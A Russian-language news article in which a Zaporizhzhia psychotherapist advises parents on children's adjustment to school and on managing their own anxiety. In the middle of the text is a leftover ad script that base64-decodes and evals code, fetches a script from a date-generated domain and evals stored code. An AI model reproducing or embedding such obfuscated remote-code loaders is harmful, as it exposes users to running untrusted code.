Как помочь не только ребенку, но и родителю адаптироваться к школе, рассказала в эфире вижн-радио «На дотик», 7 сентября, запорожская гештальт-психотерапевтка Юлия Сторожевская.
Эфир был посвящен Международному дню грамотности. Ведущие и
гости программы поднимали разные важные вопросы, касающиеся образовательной
сферы, и одной из них стал именно вопрос адаптации детей к учебному процессу.
Юлия Сторожевская рассказала, что именно процесс адаптации к
школе надо было начинать раньше, но и сейчас можно помочь ребенку войти в новую
среду:
— Если мы будем
говорить об адаптации к школе, то мы немножко опоздали. Адаптация к школе
начинается, как минимум, за две недели до начала школы. Что мы, родители, можем
сделать после первой недели обучения — помочь ребенку организоваться, потому
что у него очень непрокаченные именно эти навыки. Особенно, если мы говорим о
маленьких школьниках. Что такое
организация пространства и времени? Это заранее вставать, ложиться вовремя,
найти время на то, чтобы ребенок делал домашние задания. То есть обыкновенный
режим, но такая структура очень помогает ребенку адаптироваться к новым
условиям.
Но что же делать, если ребенок просто возьмет и не захочет
идти в школу? Юлия говорит, что тогда надо обязательно обратить внимание на
такое поведения и постараться выяснить, что ребенка беспокоит:
— В каждом возрасте есть свои потребности и свои запросы. Каждый ребенок индивидуален. Он продукт семейной системы. Если мы возьмем первый класс, то ребенок хочет идти в школу уже на 3-5 день периода адаптации. Если такое происходит (нежелание идти в школу – прим авт.),то надо обратить внимание, задать вопросы, что происходит, почему, как? Потому что ребенок сталкивается с учителем, а это новое значимое лицо. Он налаживает коммуникацию с ним. Сталкивается с другими детьми. И учебная деятельность для него тоже новое.
var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
По словам Юлии, еще очень важным момент является то,
насколько родитель спокоен в такой ситуации:
— Ребенок — это
продукт семейный. Если мама волнуется, то ребенок ее поддержит и скажет — мне
там плохо, заберите меня обратно. И тогда ребенок дома, тревожность у мамы
падает и все счастливы.
Интересно, что если к Юлии приходят с проблемами адаптации,
то сначала она работает именно с родителями:
— Родитель — это тот фундамент, от которого отталкивается ребенок. Как сохранять свое спокойствие? Во-первых, просто верить в ребенка, верить, что с ним все в порядке, что в школе с ним все в порядке. Если что, то ребенок может обратиться и родитель может подключиться. Надо понимать, что есть некоторые разделения зон ответственности ребенка и родителя. Во-вторых, родитель может организовать и свое время. Если вы опаздываете на работу, то это может повышать тревожность ребенка. Ребенок приходит в школу, свое напряжение сливает на детей и из-за этого начинаются проблемы. В-третьих, необходимо понимать важность школы как института семьи, социализации и довериться школе. Необходимо налаживать диалог с учителем, брать его в коалицию, а не противостоять. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/kak-pomoch-rebenku-adaptirovatsya-k-shkole-zaporozhskaya-psihoterapevtka-dala-poleznye-sovety/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
